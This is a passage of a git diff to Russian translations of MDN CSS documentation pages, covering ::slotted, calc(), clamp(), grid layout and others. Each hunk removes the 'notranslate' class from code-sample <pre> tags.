translation_of: 'Web/CSS/::placeholder' <p>В таком случае содержимое подсказки будет доступно даже в том случае, если что-то введено в форму. Большинство скринридеров используют <code>aria-describedby</code> для чтения подсказок после того, как будет прочитан текст метки формы. Пользователь может отключить эту функцию, если дополнительная информация окажется ему ненужной.</p> -<pre class="brush:html line-numbers language-html notranslate"><label for="user-email">Ваш email адрес</label> +<pre class="brush:html line-numbers language-html"><label for="user-email">Ваш email адрес</label> <span id="user-email-hint" class="input-hint">Пример: jane@sample.com</span> <input id="user-email" aria-describedby="user-email-hint" name="email" type="email"> </pre> diff --git a/files/ru/web/css/_doublecolon_slotted/index.html b/files/ru/web/css/_doublecolon_slotted/index.html index 0edc300055..b98d03c2f0 100644 --- a/files/ru/web/css/_doublecolon_slotted/index.html +++ b/files/ru/web/css/_doublecolon_slotted/index.html @@ -9,7 +9,7 @@ translation_of: 'Web/CSS/::slotted' <p>Это работает только при использовании внутри CSS, помещённого в <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a>. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещённый в слот; он нацелен только на фактические элементы.</p> -<pre class="brush: css no-line-numbers notranslate">/* Выбирает любой элемент, помещённый в слот */ +<pre class="brush: css no-line-numbers">/* Выбирает любой элемент, помещённый в слот */ ::slotted(*) { font-weight: bold; } @@ -30,7 +30,7 @@ translation_of: 'Web/CSS/::slotted' <p>В этом демо мы использовали простой шаблон с тремя слотами:</p> -<pre class="brush: html notranslate"><template id="person-template"> +<pre class="brush: html"><template id="person-template"> <div> <h2>Personal ID Card</h2> <slot name="person-name">NAME MISSING</slot> @@ -43,7 +43,7 @@ translation_of: 'Web/CSS/::slotted' <p>Пользовательский элемент — <code><person-details></code> — определяется следующим образом:</p> -<pre class="brush: js notranslate">customElements.define('person-details', +<pre class="brush: js">customElements.define('person-details', class extends HTMLElement { constructor() { super(); @@ -68,7 +68,7 @@ translation_of: 'Web/CSS/::slotted' <p>Элемент выглядит следующим образом при вставке на страницу:</p> -<pre class="brush: html notranslate"><person-details> +<pre class="brush: html"><person-details> <p slot="person-name">Dr. Shazaam</p> <span slot="person-age">Immortal</span> <span slot="person-occupation">Superhero</span> diff --git a/files/ru/web/css/align-content/index.html b/files/ru/web/css/align-content/index.html index 9cc517042f..e9225b6f49 100644 --- a/files/ru/web/css/align-content/index.html +++ b/files/ru/web/css/align-content/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/align-content <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css no-line-numbers notranslate">/* Основное позиционное выравнивание */ +<pre class="brush:css no-line-numbers">/* Основное позиционное выравнивание */ /* align-content не принимает значения left и right */ align-content: center; /* Расположить элементы вокруг центра */ align-content: start; /* Расположить элементы в начале */ @@ -101,7 +101,7 @@ align-content: unset; <h3 id="CSS">CSS</h3> -<pre class="brush: css; highlight[4] notranslate">#container { +<pre class="brush: css; highlight[4]">#container { height:200px; width: 240px; align-content: center; /* Can be changed in the live sample */ @@ -169,7 +169,7 @@ select { <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div id="container" class="flex"> +<pre class="brush: html"><div id="container" class="flex"> <div id="item1">1</div> <div id="item2">2</div> <div id="item3">3</div> @@ -222,7 +222,7 @@ select { <div class="hidden"> <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">var values = document.getElementById('values'); +<pre class="brush: js">var values = document.getElementById('values'); var display = document.getElementById('display'); var container = document.getElementById('container'); diff --git a/files/ru/web/css/animation/index.html b/files/ru/web/css/animation/index.html index 8db0d1c026..3aee48338c 100644 --- a/files/ru/web/css/animation/index.html +++ b/files/ru/web/css/animation/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/animation <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css notranslate">/* @keyframes duration | timing-function | delay | +<pre class="brush:css">/* @keyframes duration | timing-function | delay | iteration-count | direction | fill-mode | play-state | name */ animation: 3s ease-in 1s 2 reverse both paused slidein; @@ -42,7 +42,7 @@ translation_of: Web/CSS/animation <p>Учитывая все специфичные для браузеров префиксы, вот анимация цилиндрического глаза, включающая линейные градиенты и анимацию, которая работает во всех основных браузерах:</p> -<pre class="brush: html notranslate"><div class="view_port"> +<pre class="brush: html"><div class="view_port"> <div class="polling_message"> Listening for dispatches </div> @@ -50,7 +50,7 @@ translation_of: Web/CSS/animation </div> </pre> -<pre class="brush: css notranslate">.polling_message { +<pre class="brush: css">.polling_message { color: white; float: left; margin-right: 2%; diff --git a/files/ru/web/css/attr()/index.html b/files/ru/web/css/attr()/index.html index 07e97c3a88..b7596531f8 100644 --- a/files/ru/web/css/attr()/index.html +++ b/files/ru/web/css/attr()/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/attr() <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:js notranslate">/* Пример простого использования */ +<pre class="brush:js">/* Пример простого использования */ attr(data-count); attr(title); @@ -161,12 +161,12 @@ attr(data-something, 'default'); <h2 id="Пример">Пример</h2> -<pre class="brush: css notranslate">p::before { +<pre class="brush: css">p::before { content: attr(data-foo) " "; } </pre> -<pre class="brush: html notranslate"><p data-foo="hello">world</p> +<pre class="brush: html"><p data-foo="hello">world</p> </pre> <h3 id="Результат">Результат</h3> diff --git a/files/ru/web/css/background-attachment/index.html b/files/ru/web/css/background-attachment/index.html index 7d02a61e7d..1983bf5480 100644 --- a/files/ru/web/css/background-attachment/index.html +++ b/files/ru/web/css/background-attachment/index.html @@ -18,7 +18,7 @@ translation_of: Web/CSS/background-attachment <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: css notranslate">/* Ключевые значения */ +<pre class="brush: css">/* Ключевые значения */ background-attachment: scroll; background-attachment: fixed; background-attachment: local; @@ -51,7 +51,7 @@ background-attachment: unset;</pre> <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> There were doors all round the hall, but they were all locked; and when Alice had been all the way down one side and up the other, trying every door, she walked sadly down the middle, wondering how she was ever to @@ -60,7 +60,7 @@ background-attachment: unset;</pre> <h4 id="CSS">CSS</h4> -<pre class="brush:css; highlight:[3]; notranslate">p { +<pre class="brush:css; highlight:[3];">p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"); background-attachment: fixed; } @@ -76,7 +76,7 @@ background-attachment: unset;</pre> <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> There were doors all round the hall, but they were all locked; and when Alice had been all the way down one side and up the other, trying every door, she walked sadly down the middle, wondering how she was ever to @@ -94,7 +94,7 @@ background-attachment: unset;</pre> <h4 id="CSS_2">CSS</h4> -<pre class="brush:css; highlight:[3]; notranslate">p { +<pre class="brush:css; highlight:[3];">p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; diff --git a/files/ru/web/css/background-image/index.html b/files/ru/web/css/background-image/index.html index 32a99c7e9e..f27b97713e 100644 --- a/files/ru/web/css/background-image/index.html +++ b/files/ru/web/css/background-image/index.html @@ -24,7 +24,7 @@ translation_of: Web/CSS/background-image <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: css notranslate">background-image: none; +<pre class="brush: css">background-image: none; background-image: url(http://www.example.com/bck.png); background-image: inherit; @@ -51,7 +51,7 @@ background-image: inherit; <h4 id="HTML_содержимое">HTML содержимое</h4> -<pre class="brush: html notranslate"><div> +<pre class="brush: html"><div> <p class="catsandstars"> This paragraph is full of cats<br />and stars. </p> @@ -64,7 +64,7 @@ background-image: inherit; <h4 id="CSS_содержимое">CSS содержимое</h4> -<pre class="brush: css notranslate">pre, p { +<pre class="brush: css">pre, p { font-size: 1.5em; color: #FE7F88; background-color: transparent; diff --git a/files/ru/web/css/border-bottom/index.html b/files/ru/web/css/border-bottom/index.html index 2c4613dee8..bf69fc5788 100644 --- a/files/ru/web/css/border-bottom/index.html +++ b/files/ru/web/css/border-bottom/index.html @@ -13,13 +13,13 @@ translation_of: Web/CSS/border-bottom <p>Как и все сокращённые свойства, <code>border-bottom</code> устанавливает значения всех свойств, которые он может установить, даже если они не указаны. Для тех свойств, которые не указаны оно устанавливает значения по умолчанию. Это означает, что ...</p> -<pre class="brush: css notranslate">border-bottom-style: dotted; +<pre class="brush: css">border-bottom-style: dotted; border-bottom: thick green; </pre> <p>... это то же самое, что ...</p> -<pre class="brush: css notranslate">border-bottom-style: dotted; +<pre class="brush: css">border-bottom-style: dotted; border-bottom: none thick green; </pre> @@ -37,7 +37,7 @@ border-bottom: none thick green; <h2 id="Syntax">Syntax</h2> -<pre class="brush: css no-line-numbers notranslate">border-bottom: 1px; +<pre class="brush: css no-line-numbers">border-bottom: 1px; border-bottom: 2px dotted; border-bottom: medium dashed blue; </pre> @@ -69,13 +69,13 @@ border-bottom: medium dashed blue; <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><div> +<pre class="brush: html"><div> This box has a border on the bottom side. </div></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { border-bottom: 4px dashed blue; background-color: gold; height: 100px; diff --git a/files/ru/web/css/box-sizing/index.html b/files/ru/web/css/box-sizing/index.html index 56ab00b597..009c81968e 100644 --- a/files/ru/web/css/box-sizing/index.html +++ b/files/ru/web/css/box-sizing/index.html @@ -62,13 +62,13 @@ translation_of: Web/CSS/box-sizing <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div class="content-box">Content box</div> +<pre class="brush: html"><div class="content-box">Content box</div> <br> <div class="border-box">Border box</div></pre> <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { width: 160px; height: 80px; padding: 20px; diff --git a/files/ru/web/css/calc()/index.html b/files/ru/web/css/calc()/index.html index 3c34440b4d..6f6db79e20 100644 --- a/files/ru/web/css/calc()/index.html +++ b/files/ru/web/css/calc()/index.html @@ -38,7 +38,7 @@ translation_of: Web/CSS/calc() <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> -<pre class="syntaxbox notranslate">calc(<em>expression</em>)</pre> +<pre class="syntaxbox">calc(<em>expression</em>)</pre> <h2 id="Примеры">Примеры</h2> @@ -46,7 +46,7 @@ translation_of: Web/CSS/calc() <p><code>calc()</code> делает простым позиционирование объекта с помощью отступа. В этом примере создаётся баннер занимающий в ширину все окно с отступами по краям в 40px. </p> -<pre class="brush: css notranslate">.banner { +<pre class="brush: css">.banner { position: absolute; left: 5%; /* для браузеров не поддерживающих calc() */ left: calc(40px); @@ -60,7 +60,7 @@ translation_of: Web/CSS/calc() } </pre> -<pre class="brush: html notranslate"><div class="banner">Это баннер!</div></pre> +<pre class="brush: html"><div class="banner">Это баннер!</div></pre> <p>{{ EmbedLiveSample('Позиционирование_объекта_в_окне_с_помощью_отступа', '100%', '60') }}</p> @@ -70,7 +70,7 @@ translation_of: Web/CSS/calc() <p>Давайте посмотрим некоторый код CSS:</p> -<pre class="brush: css notranslate">input { +<pre class="brush: css">input { padding: 2px; display: block; width: 98%; /* для браузеров, не поддерживающих calc() */ @@ -87,7 +87,7 @@ translation_of: Web/CSS/calc() <p>Здесь ширина формы становится 1/6 от ширины окна. Затем, чтобы задать размер полей, мы вновь используем функцию <code>calc()</code>, которая вычитает 1em из ширины блока. Теперь применим этот CSS к следующему HTML-коду:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div id="formbox"> <label>Type something:</label> <input type="text"> @@ -101,7 +101,7 @@ translation_of: Web/CSS/calc() <p>Вы также можете использовать <code>calc()</code> с CSS переменными. Рассмотрим пример кода:</p> -<pre class="notranslate">.foo { +<pre>.foo { --widthA: 100px; --widthB: calc(var(--widthA) / 2); --widthC: calc(var(--widthB) / 2); diff --git a/files/ru/web/css/clamp()/index.html b/files/ru/web/css/clamp()/index.html index 1e6fa2b6fc..3bba677ccc 100644 --- a/files/ru/web/css/clamp()/index.html +++ b/files/ru/web/css/clamp()/index.html @@ -9,14 +9,14 @@ translation_of: Web/CSS/clamp() <p><code>clamp(MIN, VAL, MAX)</code> вычисляется как <code>{{CSSxRef("max", "max")}}(MIN, {{CSSxRef("min", "min")}}(VAL, MAX))</code></p> -<pre class="brush: css; no-line-numbers notranslate">/* свойство: clamp(expression{3}) */ +<pre class="brush: css; no-line-numbers">/* свойство: clamp(expression{3}) */ width: clamp(10px, 4em, 80px);</pre> <p>В примере выше ширина будет не меньше 10px и не больше 80px. Но если размер одного "em" будет находиться в диапазоне от 2.5px до 20px (в сумме от 10px до 80px), то ширина будет равняться этим 4em.</p> <p>Давайте предположим, что в примере выше 1em равен 16px:</p> -<pre class="brush: css; no-line-numbers notranslate">width: clamp(10px, 4em, 80px); +<pre class="brush: css; no-line-numbers">width: clamp(10px, 4em, 80px); /* если 1em = 16px, 4em = (16px * 4) = 64px */ width: clamp(10px, 64px, 80px); /* clamp(MIN, VAL, MAX) вычисляется как max(MIN, min(VAL, MAX))) */ @@ -57,10 +57,10 @@ width: 64px;</pre> <p><code>clamp()</code> позволяет вам установить размер шрифта, который изменяется в зависимости от ширины области видимости, но не уменьшается ниже и не увеличивается выше заданного размера. Она имеет тот же эффект, что и в <a href="https://css-tricks.com/snippets/css/fluid-typography/">Fluid Typography</a>, но в одну строку и без использования медиавыражений.</p> -<pre class="brush: css notranslate">p { font-size: clamp(1rem, 2.5vw, 1.5rem); } +<pre class="brush: css">p { font-size: clamp(1rem, 2.5vw, 1.5rem); } </pre> -<pre class="brush: html; notranslate"><p> +<pre class="brush: html;"><p> If 2.5vw is less than 1rem, the font-size will be 1rem. If 2.5vw is greater than 1.5rem, the font-size will be 1.5rem. Otherwise, it will be 2.5vw. diff --git a/files/ru/web/css/color_value/index.html b/files/ru/web/css/color_value/index.html index 0b14e0faee..1a1bc18b7e 100644 --- a/files/ru/web/css/color_value/index.html +++ b/files/ru/web/css/color_value/index.html @@ -992,7 +992,7 @@ translation_of: Web/CSS/color_value <h4 id="currentColor_пример">currentColor пример</h4> -<pre class="brush: html notranslate"><div style="color:blue; border: 1px dashed currentColor;"> +<pre class="brush: html"><div style="color:blue; border: 1px dashed currentColor;"> Цвет текста-синий. <div style="background:currentColor; height:9px;"></div> This block is surrounded by a blue border. @@ -1029,7 +1029,7 @@ translation_of: Web/CSS/color_value <p>В этом примере показано множество способов создания одного цвета с помощью различных цветовых синтаксисов RGB.</p> -<pre class="notranslate">/* Все эти варианты синтаксиса задают один и тот же цвет: полностью непрозрачный ярко-розовый. */ +<pre>/* Все эти варианты синтаксиса задают один и тот же цвет: полностью непрозрачный ярко-розовый. */ /* Шестнадцатеричный синтаксис */ #f09 @@ -1067,7 +1067,7 @@ rgb(1e2, .5e1, .5e0, +.25e2%) <h5 id="RGB_вариации_прозрачности">RGB вариации прозрачности</h5> -<pre class="notranslate">/* Шестнадцатеричный синтаксис */ +<pre>/* Шестнадцатеричный синтаксис */ #3a30 <span style="background: #3a30;"> /* 0% непрозрачный зелёный цвет */ </span> #3A3F <span style="background: #3A3F;"> /* полный непрозрачный зелёный цвет */ </span> #33aa3300 <span style="background: #33aa3300;"> /* 0% непрозрачный зелёный цвет */ </span> diff --git a/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html b/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html index 454ad6b5fe..5b10b41321 100644 --- a/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html +++ b/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html @@ -38,7 +38,7 @@ translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing <h3 id="HTML">HTML</h3> -<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>Нижний отступ этого абзаца схлопнулся …<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>Нижний отступ этого абзаца схлопнулся …<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>… с верхним отступом этого абзаца, объеденив отступы между ними в один, равный <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>code</span><span class="punctuation token">></span></span>1.2rem<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>code</span><span class="punctuation token">></span></span>.<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span><span class="punctuation token">>Этот родительский элемент содержит два</span></span></code> <code>абзаца</code><code class="language-html">! @@ -50,7 +50,7 @@ translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing <h3 id="CSS">CSS</h3> -<pre class="brush: css line-numbers language-css notranslate"><code class="language-css"><span class="selector token">div</span> <span class="punctuation token">{</span> +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">div</span> <span class="punctuation token">{</span> <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">2</span><span class="token unit">rem</span> <span class="number token">0</span><span class="punctuation token">;</span> <span class="property token">background</span><span class="punctuation token">:</span> lavender<span class="punctuation token">;</span> <span class="punctuation token">}</span> diff --git a/files/ru/web/css/css_fonts/index.html b/files/ru/web/css/css_fonts/index.html index 6011699241..bbd231468e 100644 --- a/files/ru/web/css/css_fonts/index.html +++ b/files/ru/web/css/css_fonts/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Fonts <p>Следующий пример показывает простое использование шрифтовых свойств, стилизующих тэг <p>.</p> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { width: 600px; margin: 0 auto; font-family: "Helvetica Neue", "Arial", sans-serif; @@ -22,7 +22,7 @@ translation_of: Web/CSS/CSS_Fonts letter-spacing: 1px; }</pre> -<pre class="brush: html notranslate"><p>Three hundred years ago<br> +<pre class="brush: html"><p>Three hundred years ago<br> I thought I might get some sleep<br> I stretched myself out onna antique bed<br> An' my spirit did a midnite creep</p></pre> diff --git a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html index 4fd846a256..424d65eae9 100644 --- a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html @@ -37,7 +37,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В этом примере есть div, содержащий класс wrapper с пятью потомками</p> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -48,13 +48,13 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Сделаем wrapper grid контейнером</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; } </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -97,7 +97,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В примере ниже мы создаём сетку с шириной колонки 200px. Каждый дочерний элемент сетки будет располагаться в отдельной ячейке сетки.</p> <div id="grid_first"> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -106,14 +106,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 200px 200px 200px; } </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -143,7 +143,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Размер треков (полос) может быть задан с помощью любой единицы длины. Спецификация также вводит дополнительную единицу длины, позволяющую создавать эластичные (flexible) грид-треки. Новая единица длины <code>fr</code> представляет собой долю (fraction) доступного пространства в грид-контейнере. Определение грида в коде ниже создаст три трека равной длины, которые будут увеличиваться и уменьшаться в размерах в соответствии с доступным пространством.</p> <div id="fr_unit_ls"> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -152,14 +152,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; } </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -186,7 +186,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В следующем примере мы создаём грид с треком в <code>2fr</code> и двумя треками по <code>1fr</code>. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. </p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 2fr 1fr 1fr; } @@ -194,7 +194,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В последнем примере смешаем треки с абсолютной длиной и треки с длиной во fr. Размер первого трека 500 пикселей, и эта фиксированная ширина убирается из доступного пространства. Оставшееся пространство разбивается на три части и пропорционально разделяется между двумя эластичными треками.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 500px 1fr 2fr; } @@ -204,7 +204,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В огромных гридах с большим количеством треков можно использовать нотацию <code>repeat()</code> , чтобы повторить структуру треков или её часть. Например, такое задание грида:</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; } @@ -212,7 +212,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>можно записать вот так:</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); } @@ -220,7 +220,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Repeat-нотацию можно использовать как часть списка треков. В следующем примере создаётся грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 20px repeat(6, 1fr) 20px; } @@ -228,7 +228,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Repeat-нотация в качестве аргумента принимает список треков, поэтому с её помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной <code>1fr</code> следует трек шириной <code>2fr</code> , и все это дело повторяется пять раз.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(5, 1fr 2fr); } @@ -242,7 +242,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В примере ниже мы задаём <code>grid-auto-rows</code> , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.</p> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -251,7 +251,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 200px; @@ -259,7 +259,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -289,7 +289,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Для подобных ситуаций в Grid предусмотрено решение с помощью функции {{cssxref("minmax", "minmax()")}}. В следующем примере <code>minmax()</code> используется, как значение свойства {{cssxref("grid-auto-rows")}}. Автоматически создаваемые строки будут как минимум 100 пикселей в высоту, а как максимум примут значение <code>auto</code>. Использование <code>auto</code> означает, что размер строки посмотрит на размер контента и растянется таким образом, чтобы вместить самый высокий элемент ячейки в этой строке. </p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: minmax(100px, auto); @@ -297,7 +297,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -319,7 +319,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two <p>I have some more content in.</p> @@ -349,7 +349,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Второй элемент начинается с колоночной линии 1 и занимает один трек. Это поведение по умолчанию, поэтому не нужно задавать конечную линию. Элемент также занимает два строчных трека - со строчной линии 3 до строчной линии 5. Остальные элементы самостоятельно размещаются в пустых пространствах грида. </p> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -358,7 +358,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; @@ -377,7 +377,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -419,7 +419,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p><em>Зазоры (Gutters)</em> или аллеи (<em>alleys)</em> между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращённого свойства {{cssxref("grid-gap")}}. В примере ниже мы создаём зазор в 10 пикселей между колонками и в <code>1em</code> между строками.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-column-gap: 10px; @@ -427,7 +427,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -437,7 +437,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -468,7 +468,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трёхколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.</p> <div id="nesting"> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box box1"> <div class="nested">a</div> <div class="nested">b</div> @@ -485,7 +485,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Если мы задаём для <code>box1</code> значение <code>display: grid</code> , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.</p> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; @@ -496,7 +496,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -533,7 +533,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В приведённом выше примере мы можем отредактировать вложенный грид, изменив <code>grid-template-columns: repeat(3, 1fr)</code>, на <code>grid-template-columns: subgrid</code>. Вложенный грид будет использовать 